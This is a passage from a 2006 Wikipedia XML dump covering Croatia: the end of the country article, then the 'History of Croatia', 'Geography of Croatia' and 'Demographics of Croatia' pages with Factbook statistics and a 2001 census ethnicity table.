*Agičić et al. (2000): Povijest i zemljopis Hrvatske (History and Geography of Croatia), priručnik za hrvatske manjinske škole (handbook for croatian minority schools), Biblioteka Geographica Croatica, 292 p., Zagreb, ISBN 953-6235-40-4 ''(croatian)''

==External links==
{{sisterlinks|Croatia}}

* [http://us.mfa.hr/?mh=186&amp;mv=1111 Basic facts, website of the Croatian Ministry of Foreign Affairs]
* [http://www.kartegradova.com kartegradova.com, detailed online maps of Croatia]
* [http://www.croatia.hr/ Croatian National Tourist Board @ croatia.hr]
* [http://www.hr/hrvatska/general.en.shtml General information about Croatia @ www.hr]
* [http://www.vlada.hr/ The Croatian government's official website @ vlada.hr]
* [http://www.fivestars.hr/photo_gallery/croatian_coast_ivo_pervan/ Picture Gallery @ fivestars.hr]
* [http://www.hrvatska.nl/gallery Picture Gallery @ hrvatska.nl]
* [http://www.mythinglinks.org/euro~east~Balkans~Croatia.html Culture Links @ mythinglinks.org]
* [http://www.showcaves.com/english/hr/index.html Speleology @ showcaves.com]
* [http://www.romwell.com/travel/advisory/europe/croatia/crocastles.shtml Castles @ romwell.com]
* [http://www.map-of-croatia.co.uk/ Map of Croatia]
* [http://www.freeworldmaps.net/europe/croatia/map.html Physical Map of Croatia]


[[Category:Croatia| ]]
{{Europe}}
{{EU countries and candidates}}
{{Mediterranean}}

[[af:Kroasië]]
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[[fiu-vro:Horvaatia]]</text>
    </revision>
  </page>
  <page>
    <title>History of Croatia</title>
    <id>5574</id>
    <revision>
      <id>42148640</id>
      <timestamp>2006-03-04T03:29:42Z</timestamp>
      <contributor>
        <username>Jandrinov</username>
        <id>317972</id>
      </contributor>
      <text xml:space="preserve">{{History of Croatia}}
This is the '''history of Croatia'''. See also the [[list of rulers of Croatia]], the [[history of the Mediterranean]], the [[history of the Balkans]], the [[history of Europe]], and the [[history of present-day nations and states]].

== Croatian lands before the Croats (until 7th c.) ==
{{main|Croatia before the Croats}}

The area known as [[Croatia]] today has been inhabited throughout the prehistoric period, since the [[Stone Age]]. In the middle [[Paleolithic]], [[Neanderthals]] lived in Krapina. In the early [[Neolithic]] period, the [[Starčevo-Körös|Starčevo]], [[Vinča culture|Vinča]], [[Sopot culture|Sopot]], [[Vučedol culture|Vučedol]] and [[Hvar culture|Hvar]] cultures were scattered around the region. The [[Iron Age]] left traces of the [[Hallstatt culture]] (proto-[[Illyrians]]) and the [[La Tène culture]] (proto-[[Celts]]).

In recorded history, the area was inhabited by the [[Illyria]]ns, and since the [[4th century BC]] also colonized by the [[Celts]] and by the [[Greek colonies|Greeks]]. Illyria was a sovereign state until the [[Roman Empire|Romans]] conquered it in [[168 BC]]. The Western Empire organized the [[Roman province|provinces]] of [[Pannonia]] and [[Dalmatia]], which after its downfall passed to the [[Huns]], the [[Ostrogoths]] and then to the [[Byzantine Empire]]. Forebears of Croatia's current [[Slavic peoples|Slav]] population settled there in the [[7th century]].

== Medieval Croatian state (until 1102) ==
{{main|Medieval Croatian state}}

[[Image:Migration of the Croats through Euro-Asian regions.jpg|thumb|left|Migration of the [[Croats]] through Eurasia]]
[[Image:Oton Ivekovic, Dolazak Hrvata na Jadran.jpg|thumb|right|Oton Iveković. The Croats' arrival at the Adriatic Sea.]]

The [[Croats|Croat]] and other Slavic tribes arrived in what is today Croatia and [[Bosnia and Herzegovina|Bosnia]] in the [[7th century]]. The Croats organized into two [[dukedom]]s; the [[Pannonia]]n duchy in the north and the [[Dalmatia]]n duchy in the south. The [[Christianization]] of the Croats ended in the [[9th century]].

The first native Croatian ruler recognized by a [[pope]] was duke [[Branimir]],  whom [[Pope John VIII]] called ''dux Chroatorum'' in [[879]].

[[Image:Branimir.jpg|thumb|200px|right|The inscription of duke [[Branimir]], ca. [[888]].]]

The first [[List of rulers of Croatia|King of Croatia]], [[Tomislav]] of the Trpimirović dynasty, was crowned in [[925]]. Tomislav, ''rex Chroatorum'', united the Pannonian and Dalmatian duchies and created a sizeable state. He defeated Bulgarian Tsar Symeon I in one of the greatest battles in history ([[Battle of the Bosnian Highlands]]). The [[mediæval]] Croatian kingdom reached its peak during the reign of King [[Petar Krešimir IV of Croatia|Petar Krešimir IV]] ([[1058]]–[[1074]]).

Following the disappearance of the major native dynasty by the end of the [[11th century]] in the [[Battle of Gvozd Mountain (Peter`s Mountain)]], the Croats eventually recognized the Hungarian ruler [[Coloman of Hungary|Coloman]] as the common king for Croatia and [[Hungary]] in a treaty of [[1102]] (often referred to as the ''[[Pacta Conventa]]'').

[[Image:Tomislav.jpg|thumb|200px|left|Croatia during king [[Tomislav]]'s reign]]

The main families of Croatia which formed their county are unknown with over a 1000 surnames but some names such as Miljak and Milicic are certain

==Personal union with Hungary (1102–1526)==
{{main|Croatia in the union with Hungary}}

The consequences of the change to the Hungarian king included the introduction of [[feudalism]] and the rise of the native noble families such as [[Frankopan]] and [[Šubić]]. The later kings sought to restore some of their previously lost influence by giving certain privileges to the towns. The primary governor of Croatian provinces was the ''[[ban (title)|ban]]''.

The princes of Bribir from the Šubić family became particularly influential, asserting control over large parts of [[Dalmatia]], [[Slavonia]] and Bosnia. Later, however, the [[Angevin]]es intervened and restored royal power. They also sold the whole of [[Dalmatia]] to [[Republic of Venice|Venice]] in [[1409]].

As the [[Ottoman Empire|Turkish]] incursion into Europe started, Croatia once again became a border area. The Croats fought an increasing amount of battles and gradually lost increasing amounts of territory to the Ottoman Empire ([[Battle of Krbava field]]).

== Habsburg Empire, Venice and the Ottomans ([[1527]] – [[1918]]) ==
{{main|Croatia in the Habsburg Empire}}

[[Image:Ivan Zasche, Portret bana Josipa Jelacica.jpg|150px|thumb|right|Ban [[Josip Jelačić]].]]

The [[1526]] [[Battle of Mohács]] was a crucial event in which the rule of the
[[Jagiellon dynasty]] was shattered by the death of King [[Louis II of Hungary|Louis II]]. The Ottoman Empire further expanded in the [[16th century]] to include most of [[Slavonia]], western Bosnia and [[Lika]].

Later in the same century, large areas of Croatia and Slavonia adjacent to the Ottoman Empire were carved out into the [[Military Frontier]] (''Vojna Krajina'', ''German'' Militaergrenze) and ruled directly from Vienna military headquarters. The area became rather deserted and was subsequently resettled by [[Serbs]], [[Ethnic German|Germans]] and others. As a result of their compulsory military service to the Habsburg Empire during conflict with the [[Ottoman Empire]], the population in the Military Frontier was free of serfdom and enjoyed much political autonomy unlike the population living in the parts ruled by Hungary.

After the [[Bihać]] fort finally fell in [[1592]], only small parts of Croatia remained unconquered. The remaining 16,800 km² were referred to as the ''remnants of the remnants of the once great Croatian kingdom''. The Ottoman army was successfully repelled for the first time on the territory of Croatia following the Battle of [[Sisak]] in [[1593]]. The lost territory was mostly restored, except for large parts of today's [[Bosnia and Herzegovina]].

The [[Croats]] have participated in the [[30-years' War]]. They were remebered by brutality throughout the Protestant world. One Protestant church in Aachen still has a saying about Croats as they were remembered in common prayers of German people from that time: &quot;God save us from hunger, Croats and plague!&quot;. 

By the 1700s, the [[Ottoman Empire]] was driven out of [[Hungary]] and Croatia, and [[Austria]] brought the empire under central control. Empress [[Maria Theresa of Austria|Maria Theresia]] was supported by the Croatians in the [[War of Austrian Succession]] of [[1741]]–[[1748]] and subsequently made significant contributions to Croatian matters.

With the fall of the [[Venetian Republic]] in [[1797]], its possessions in eastern [[Adriatic]] became subject to a dispute between [[France]] and Austria. The Habsburgs eventually secured them (by [[1815]]) and Dalmatia and Istria became part of the empire, though they were in [[Cisleithania]] while Croatia and Slavonia were under Hungary.

Croatian [[romantic nationalism]] emerged in mid-[[19th century]] to counteract the apparent Germanization and Magyarization of Croatia. The ''[[Illyria]]n'' Movement attracted a number of influential figures from [[1830s]] on, and produced some important advances in the [[Croatian language]] and culture.

Following [[the Revolutions of 1848 in Habsburg areas]] and the creation of the dual monarchy of [[Austria-Hungary]], Croatia lost its domestic autonomy, despite the contributions of its ban [[Josip Jelačić|Jelačić]] in quenching the Hungarian rebellion. Croatian autonomy was restored in [[1868]] with the Hungarian–Croatian Settlement which wasn't particularly favorable for the Croatians.

== First Yugoslavia (1918–1941) ==
{{main|Croatia in the first Yugoslavia}}

[[Image:Stjepan Radic founder of the Croatian Farmers' Party in the beginning of the 20 century.jpg|thumb|left|[[Stjepan Radić]].]]

Shortly before the end of the [[First World War|Great War]] in [[1918]], the [[Croatian Parliament]] severed relations with [[Austria-Hungary]] as the [[Entente]] armies defeated those of the Habsburgs. ''[[Croatia]] and [[Slavonia]]''' became a part of the [[State of Slovenes, Croats and Serbs]] composed out of all Southern Slavic territories of the now former [[Austro-Hungarian Monarchy]] with a transitional government headed in [[Zagreb]]. Although the state inheriteb much of Austro-Hungary's military arsenal, including the entire fleet, the Kingdom of Italy moved rapidly to annex the state's most western territories, promised to her by the [[Treaty of London]]. An Italian Army eventually took [[Istria]], started to annex the [[Adriatic]] islands one by one, and even landed in [[Zadar]]. After [[Srijem]] left ''Croatia and Slavonia'' and joined Serbia together with Vojvodina, which was shortly followed by a referendum to join Bosnia and Herzegovina to Serbia, the People's Council (''Narodno vijeće'') of the state, guided by what was by that time a half a century long tradition of [[pan-Slavism]], joined the [[History of Serbia|Kingdom of Serbia]] into the [[Kingdom of the Serbs, Croats and Slovenes]].

The Kingdom underwent a crucial change in [[1921]] to the dismay of the Croatian political leadership led by the [[Croatian Peasant Party|Peasant Party]] of [[Stjepan Radić]]. The new constitution abolished the historical/political entities, including '''[[Croatia]] and [[Slavonia]]''' centralizing authority in the capital of [[Belgrade]]. The Croatian Peasent Party boycotted the government of the [[Serbian Radical People's Party]] throughout the period, except for a brief interlude between [[1925]] and [[1927]], when external [[Italian]] expansionism was at hand with her allies, [[Albania]], [[Hungary]], [[Romania]] and [[Bulgaria]] that threatened Yugoslavia as a whole.

In [[1928]], Radić was mortally wounded during a Parliament session by [[Puniša Račić]], a deputy of the Serbian Radical People's Party, which caused further upsets among the [[Croatian]] elite. In [[1929]], King [[Alexander of Yugoslavia|Aleksandar]] proclaimed a dictatorship and imposed a new constitution which, among other things, renamed the country into the [[Kingdom of Yugoslavia]]. The territory of Croatia was roughly composed out of the [[Sava Banate|Sava]] and [[Littoral Banate|Littoral Banates]].

In [[1934]], King Aleksandar was [[assassination|assassinated]] abroad, in [[Marseilles]], by a coalition of two radical groups: the Croatian [[Ustaše]] and the Macedonian pro-Bulgarian [[VMORO]]. The [[Serbian]]-[[Croatian]] [[Cvetković]]-[[Maček]] government that came to power distanced Yugoslavia's former allies of [[France]] and the [[United Kingdom]], and moved closer to Fascist Italy and Nazi Germany in the period of [[1935]]-[[1941]]. A national '''Croatian Banate''' was created in [[1939]] out of the two Banates, as well as parts of the Zeta, [[Vrbas Banovina|Vrbas]], [[Drina Banovina|Drina]] and Danube Banates. It had a reconstructed [[Croatian Parliament]] which would choose a Croatian [[Ban (title)|Ban]] and Viceban. This [[Croatia]] included a part of [[Bosnia (region)]], most of [[Herzegovina]] and the city of [[Dubrovnik]] and the surroundings.

==World War II ([[1941]]–[[1945]]) ==
{{main|Independent State of Croatia}}

[[Image:Ante Pavelic.jpg|right|thumb|120px|[[Ante Pavelić]].]]

The [[Axis powers|Axis]] occupation of Yugoslavia in [[1941]] allowed the Croatian radical right [[Ustaše]] party to come into power, forming the so-called &quot;[[Independent State of Croatia]]&quot;, led by [[Ante Pavelić]], he was styled ([[Führer]]-like) '''''Poglavnik''' Nezavisne Drzave Hrvatske'' (i.e. Leader of the Independent State of Croatia). His fascistoid puppet regime enacted racial laws, formed eight concentration camps and started a campaign to exterminate Croatia's ethnic minorities ([[Serbs]], [[Roma|Romas]] and [[Jews]] in presice) and remove the ''&quot;enemies of the state&quot;''.

The [[Partisans (Yugoslavia)|anti-fascist partisan movement]] emerged early in [[1941]], under the command of the [[Communist]] party, led by [[Josip Broz Tito]], as in other parts of [[Kingdom of Yugoslavia|Yugoslavia]]. Serbian royalist guerilla ''[[chetniks|Četnici]]'' were also formed.

Early in the war, [[Ustaše]] opened up the [[Jasenovac concentration camp]]. This complex of internment and extermination camps was one of the larger sites of mass murder in occupied Europe at the time and was the place of death of tens of thousands of people. 

Both Ustaše and Četnici collaborated with the Axis powers and fought together against the Partisans. By [[1943]], the partisan resistance movement greatly expanded and was able to expel all Nazi collaborators by [[1945]], with the help of the Soviet [[Red Army]]. The ''ZAVNOH'', state anti-fascist council of people's liberation of Croatia, functioned since [[1943]] and formed an interim civil government. 

By the end of the war, hundreds of thousands of [[Serbs]], [[Jews]], [[Roma|Romas]] and [[communist]]s were executed by the regime. After the war, between 50,000 and 200,000 of Croatia's population were massacred in places like [[Bleiburg massacre|Bleiburg]].

== Second Yugoslavia (1945–1991) ==
{{main|Croatia in the second Yugoslavia}}

[[Image:Tito.jpg|left|thumb|120px|[[Josip Broz Tito]].]]

Croatia became part of the [[Socialist Federal Republic of Yugoslavia|Democratic Federal Yugoslavia]] in [[1945]], which was run by Tito's [[Communist Party of Yugoslavia]]. Tito, himself a Croat, adopted a carefully contrived policy to manage the conflicting national ambitions of the Croats and Serbs.

Croatia was a [[socialist republic|Socialist Republic]] part of a six-part federation. Under the new communist system, private property was [[nationalization|nationalized]] and the economy was based on a type of planned [[market socialism]]. The country underwent a rebuilding process, recovered from WWII, went through [[industrialization]] and started developing [[tourism]].

The constitution of [[1963]] balanced the power in the country between the Croats and the Serbs, and alleviated the fact that the Croats were again in a minority. Trends after [[1965]], however, led to the [[Croatian Spring]] of [[1970]]–[[1971|71]], when students in Zagreb organized demonstrations for greater civil liberties and greater Croatian autonomy. The regime stifled the public protest and incarcerated the leaders, but this led to the ratification of a new Constitution in [[1974]], giving more rights to the individual republics.

In [[1980]], after Tito's death, political, ethnic and economic difficulties started to mount and the federal government began to crumble. The emergence of [[Slobodan Milošević]] in Serbia and many other events provoked a very negative reaction in Croatia, followed by a rise in nationalism and active dissent.

== Modern Croatia (from 1990/1991) ==
{{main|History of modern Croatia}}

[[Image:Franjo Tudman and Stjepan Mesic, Croatian politicians.jpg|thumb|right|[[Franjo Tuđman]] and [[Stjepan Mesić]]. Once allies, later rivals.]]

In [[1990]], the first free elections were held. A people's movement called the [[Croatian Democratic Union]] (HDZ) won, led by [[Franjo Tuđman]] General of Croatian WW2 antifascist movement, the Partisans. HDZ's intentions were to secure more independence for Croatia, contrary to the wishes of part of ethnic Serbs in the republic and official politics in Belgrade. The excessively polarized climate soon escalated into complete estrangement between the two nationalities and even sectarian violence.

In the summer of 1990, Serbs from the mountainous areas where they constitute a relative majority rebelled and formed an unrecognized &quot;Autonomous Region of the Serb Krajina&quot; (later the [[Republic of Serbian Krajina]]). Any intervention by the Croatian police was obstructed by the [[Yugoslav People's Army]] (JNA), mainly consisting of Serbs. The conflict culminated with the so-called &quot;log revolution&quot;, when the Krajina Serbs blocked the roads to the tourist destinations in [[Dalmatia]] and started a mass ethnic cleansing of all non-Serb population.

The Croatian government declared independence from Yugoslavia on [[25 June]] [[1991]], and the JNA launch an open aggression on Republic and backing up local Serb militia's. Many Croatian cities, notably [[Vukovar]] and [[Dubrovnik]], came under the attack of the Serbian forces. The [[Croatian Parliament]] cut all remaining ties with Yugoslavia in October that year.

The civilian population fled the areas of armed conflict ''en masse'': generally speaking, thousands of Croats moved away from the Bosnian and Serbian border, while thousands of Serbs moved towards it. In many places, masses of civilians were forced out by the Yugoslav National Army (JNA), which consisted mostly from conscripts from Serbia and Montenegro, and irregulars from Serbia, in what became known as [[ethnic cleansing]].

The border city of [[Vukovar]] underwent a three month siege &amp;mdash; the [[Battle of Vukovar]] &amp;mdash; during which most of the city buildings were destroyed and a majority of the population was forced to flee. The city fell to the Serbian forces in late [[November 1991]]. Soon after, shocked with atrocites committed by Serbs, the foreign countries started recognizing Croatia's independence. By the end of January [[1992]], most of the world recognized the country.

Subsequent [[United Nations|UN]]-sponsored cease-fires followed, and the warring parties mostly entrenched. The Yugoslav People's Army retreated from Croatia into Bosnia and Herzegovina where war was just about to start. During 1992 and [[1993]], Croatia also handled seven hundred thousands of refugees from Bosnia, mainly Bosnia's Moslems.

Armed conflict in Croatia remained intermittent and mostly on a small scale until [[1995]]. In early August, Croatia started the [[Operation Storm]] and quickly reconquered most of the so-called &quot;[[Republic of Serbian Krajina]]&quot;, leading to a mass exodus of the Serbian population. An estimated 200,000 Serbs fled shortly before, during and after the operation. A few months later, as a result, the war ended upon the negotiation of the [[Dayton Agreement]]. A peaceful integration of the remaining Serbian-controlled territories in Eastern [[Slavonia]] was completed in [[1998]] under [[UN]] supervision.

President Tuđman died in late [[1999]]. In February [[2000]], [[Stjepan Mesić]] was elected president, ending the [[HDZ]]'s rule. The country underwent many liberal reforms beginning in [[2000]]. An economic recovery as well as healing of many war wounds ensued and the country proceeded to become a member of several important regional and international organizations. The country has started the process of joining the [[European Union]], but a perceived lack of co-operation with the [[International Criminal Tribunal for the former Yugoslavia]] concerning the tracking down of the indicted general [[Ante Gotovina]] long formed difficulties. After Gotovina's capture on [[7 December]] [[2005]] the road now seems clear for Croatia to join the EU, although no sooner than [[2009]].

==See Also==

* [[Austro-Hungary]]
* [[History of Yugoslavia]]
* [[NDH]]
* [[Ustashe]]
* [[Jasenovac]]
* [[Balkans]]

== External links ==
*[http://www.hr/darko/etf/etfss.html Overview of History, Culture and Science of Croatia]
*[http://vlib.iue.it/history/europe/croatia.html WWW-VL History:Croatia]
*[http://mirror.veus.hr/myth/ Dr. Michael McAdams: Croatia — Myth and Reality]
*[http://www.geocities.com/tegetthoff66/vukovar/intro.html History of Croatia as an introduction to the battle of Vukovar]
*[http://www.felbar.com/siteindex/create.php?lang=en&amp;rtype=1&amp;mnav=maps&amp;ext=htm Historical Maps of Croatia]

[[Category:History of Croatia|History of Croatia]]
[[Category:History of Europe|Croatia]]

[[bg:История на Хърватска]]
[[cs:Dějiny Chorvatska]]
[[de:Geschichte Kroatiens]]
[[es:Historia de Croacia]]
[[fr:Histoire de la Croatie]]
[[hr:Povijest Hrvatske]]
[[it:Storia della Croazia]]
[[lt:Kroatijos istorija]]
[[nl:Geschiedenis van Kroatië]]
[[pt:História da Croácia]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Croatia</title>
    <id>5575</id>
    <revision>
      <id>42124582</id>
      <timestamp>2006-03-03T23:58:45Z</timestamp>
      <contributor>
        <username>Jurrien</username>
        <id>759752</id>
      </contributor>
      <text xml:space="preserve">[[Image:Croatia topo.jpg|thumb|Topographic map]]
'''Location:'''
Southeastern [[Europe]], bordering the [[Adriatic Sea]], between [[Bosnia and Herzegovina]] and [[Slovenia]]

'''Geographic coordinates:'''
{{coor dm|45|10|N|15|30|E|}}

'''Map references:'''
Europe: see in article ''[[Europe]]'', or in the [http://www.cia.gov/cia/publications/factbook/reference_maps/europe.html CIA World Factbook]

'''Area:'''
&lt;br /&gt;
''continent:'' 56,542 km²
* ''land:'' 56,414 km²
* ''water:'' 128 km²
''sea:''
33,200 km²
&lt;br /&gt;
''grand total:''
89,742 km²

'''Area - comparative:'''
slightly smaller than [[West Virginia]]

'''Land boundaries:'''
&lt;br /&gt;
''total:''
2,197 km
&lt;br /&gt;
''border countries:''
Bosnia and Herzegovina 932 km,
[[Slovenia]] 670 km,
[[Hungary]] 329 km,
[[Serbia and Montenegro]] (north) 241 km,
[[Serbia and Montenegro]] (south) 25 km

'''Coastline:'''
5,835 km (mainland 1,777 km, islands 4,058 km)
&lt;br /&gt;
''See also:'' [[List of islands of Croatia]]

'''Maritime claims:'''
&lt;br /&gt;
''continental shelf:''
200-m depth or to the depth of exploitation
&lt;br /&gt;
''territorial sea:''
12 nm

'''Climate:'''
Mediterranean and continental; continental climate predominant with hot summers and cold winters; mild winters, dry summers along coast

'''Terrain:'''
geographically diverse; flat plains along Hungarian border, low mountains and highlands near Adriatic coastline and islands

'''Elevation extremes:'''
&lt;br /&gt;
''lowest point:''
[[Adriatic Sea]] 0 m
&lt;br /&gt;
''highest point:''
[[Dinara]] 1,830 m

'''Natural resources:'''
[[Petroleum]], some [[coal]], [[bauxite]], low-grade [[iron]] ore, [[calcium]], natural [[asphalt]], [[silica]], [[mica]], [[clay]]s, [[salt]], [[hydropower]]

'''Land use:'''
&lt;br /&gt;
''arable land:'' 23.55%
&lt;br /&gt;
''permanent crops:'' 2.24%
&lt;br /&gt;
''other:'' 74.21% (1998 est.)

'''Irrigated land:'''
30 km² (1998 est.)

'''Natural hazards:'''
destructive [[earthquake]]s

'''Environment - current issues:'''
[[air pollution]] (from metallurgical plants) and resulting [[acid rain]] is damaging the forests; coastal pollution from industrial and domestic waste; 
[[land mine|landmine]] removal and reconstruction of infrastructure consequent to 1992-95 civil strife

'''Environment - international agreements:'''
&lt;br /&gt;
''party to:''
[[Air Pollution]],
Air Pollution-[[Sulfur]] 94,
[[Biodiversity]],
[[United Nations Framework Convention on Climate Change|Climate Change]],
[[Desertification]],
[[Endangered Species]],
[[Hazardous Wastes]],
[[Law of the Sea]],
[[Marine Dumping]],
[[Nuclear Test Ban]],
[[Ozone Layer Protection]],
Ship Pollution ([[MARPOL 73/78]]),
[[Wetlands]]
&lt;br /&gt;
''signed, but not ratified:''
Air Pollution-Persistent Organic Pollutants,
Climate Change-[[Kyoto Protocol]]

'''Geography - note:'''
controls most land routes from Western Europe to [[Aegean Sea]] and Turkish Straits

:''See also :'' [[Croatia]] and [[Extreme points of Croatia]]

[[Category:Geography of Croatia| ]]
[[nl:Geografie van Kroatië]]
[[hr:Zemljopis Hrvatske]]
[[pt:Geografia da Croácia]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Croatia</title>
    <id>5576</id>
    <revision>
      <id>41023616</id>
      <timestamp>2006-02-24T15:35:10Z</timestamp>
      <contributor>
        <username>TimBentley</username>
        <id>531594</id>
      </contributor>
      <minor />
      <comment>fix link to dab page</comment>
      <text xml:space="preserve">[[Croatia]] is inhabited mostly by [[Croats]], while [[minority]] groups include [[Serbs]], [[Bosniaks]], [[Hungarians]], [[Italians]], [[Germans]], [[Czechs]], [[Roma]], and others. [[Catholicism]] is the predominant religion, while there's also [[Eastern Orthodoxy]] and [[Islam]].

The natural growth rate is minute, as the [[demographic transition]] is long done. Life expectancy and literacy rates are reasonably high.

[[Image:Croatia-demography.png|thumb|300px|right|Demographics of Croatia, Data of [[Food and Agriculture Organization|FAO]], year 2005 ; Number of inhabitants in thousands.]]

==Demographic data from the CIA World Factbook==

===Population===
:4,495,904 (July 2005 est.)

===Age structure===
:0-14 years: 16.4% (male 378,615/female 359,231)
:15-64 years: 67% (male 1,497,355/female 1,514,993)
:65 years and over: 16.6% (male 283,460/female 462,250) (2005 est.)

===Median age===
:Total: 39.97 years
:Male: 38.01 years
:Female: 41.76 years (2005 est.)

===Population growth rate===
:-0.02% (2005 est.)

===Birth rate===
:9.57 births/1,000 population (2005 est.)

===Death rate===
:11.38 deaths/1,000 population (2005 est.)

===Net migration rate===
:19.58 migrant(s)/1,000 population (2005 est.)

===Sex ratio===
:At birth: 1.06 male(s)/female
:Under 15 years: 1.05 male(s)/female
:15-64 years: 0.99 male(s)/female
:65 years and over: 0.61 male(s)/female
:Total population: 0.92 male(s)/female (2005 est.)

===Infant mortality rate===
:Total: 6.84 deaths/1,000 live births
:Male: 6.79 deaths/1,000 live births
:Female: 6.88 deaths/1,000 live births (2005 est.)

===Life expectancy at birth===
:Total population: 74.45 years
:Male: 70.79 years
:Female: 79.31 years (2005 est.)

===Total fertility rate===
:1.39 children born/woman (2005 est.)

===HIV/AIDS===
:Adult prevalence rate: less than 0.1% (2001 est.)
:People living with HIV/AIDS: 200 (2001 est.)
:Deaths: less than 10 (2001 est.)

===Nationality===
:Noun: Croat(s), Croatian(s)
:Adjective: Croatian

===Ethnic groups===
:Croat 89.6%, Serb 4.5%, Bosniak 0.5%, Hungarian 0.4%, Slovene 0.3%, Czech 0.2%, Roma 0.2%, Albanian 0.1%, Montenegrin 0.1%, others 4.1% (2001)

===Religions===
:Roman Catholic 87.8%, Orthodox 4.4%, Muslim 1.3%, Protestant 0.3%, others and unknown 6.2% (2001)

===Languages===
:Croatian 96%, other 4% (including Italian, Hungarian, Czech, Slovak, and German)

===Literacy===
:Definition: age 15 and over can read and write
:Total population: 98.5%
:Male: 99.4%
:Female: 97.8% (2003 est.)


==Ethnic groups according to the 2001 census==
''Source: [http://www.dzs.hr/default.htm Croatian Institute for Statistics], 2004''

&lt;table&gt;
&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;Population&lt;/th&gt;&lt;th&gt;Structure (%)&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Total'''&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;4.437.460&lt;/td&gt;&lt;td&gt;100&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''[[Croats]]'''&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;3.977.171&lt;/td&gt;&lt;td&gt;89,63&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''[[National minority|National minorities]]'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''Total'''&lt;/td&gt;&lt;td&gt;331.383&lt;/td&gt;&lt;td&gt;7,47&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Albanians]]'''&lt;/td&gt;&lt;td&gt;15.082&lt;/td&gt;&lt;td&gt;0,34&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Austrians]]'''&lt;/td&gt;&lt;td&gt;247&lt;/td&gt;&lt;td&gt;0,01&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Bosnians]]'''&lt;/td&gt;&lt;td&gt;20.755&lt;/td&gt;&lt;td&gt;0,47&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Bulgarians]]'''&lt;/td&gt;&lt;td&gt;331&lt;/td&gt;&lt;td&gt;0,01&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Czechs]]'''&lt;/td&gt;&lt;td&gt;10.510&lt;/td&gt;&lt;td&gt;0,24&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Germans]]'''&lt;/td&gt;&lt;td&gt;2.902&lt;/td&gt;&lt;td&gt;0,07&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Hungarians]]'''&lt;/td&gt;&lt;td&gt;16.595&lt;/td&gt;&lt;td&gt;0,37&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Italians]]'''&lt;/td&gt;&lt;td&gt;19.636&lt;/td&gt;&lt;td&gt;0,44&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Jews]]'''&lt;/td&gt;&lt;td&gt;576&lt;/td&gt;&lt;td&gt;0,01&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Macedonians]]'''&lt;/td&gt;&lt;td&gt;4.270&lt;/td&gt;&lt;td&gt;0,10&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Montenegrins]]'''&lt;/td&gt;&lt;td&gt;4.926&lt;/td&gt;&lt;td&gt;0,11&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Poles]]'''&lt;/td&gt;&lt;td&gt;567&lt;/td&gt;&lt;td&gt;0,01&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Roma]]'''&lt;/td&gt;&lt;td&gt;9.463&lt;/td&gt;&lt;td&gt;0,21&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Romanians]]'''&lt;/td&gt;&lt;td&gt;475&lt;/td&gt;&lt;td&gt;0,01&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Russians]]'''&lt;/td&gt;&lt;td&gt;906&lt;/td&gt;&lt;td&gt;0,02&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Ruthenes]]'''&lt;/td&gt;&lt;td&gt;2.337&lt;/td&gt;&lt;td&gt;0,05&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Serbs]]'''&lt;/td&gt;&lt;td&gt;201.631&lt;/td&gt;&lt;td&gt;4,54&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Slovaks]]'''&lt;/td&gt;&lt;td&gt;4.712&lt;/td&gt;&lt;td&gt;0,11&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;'''[[Slovenes]]'''&lt;/td&gt;&lt;td&gt;13.173&lt;/td&gt;&lt;td&gt;0,30&lt;/td&gt;&lt;/tr&gt;
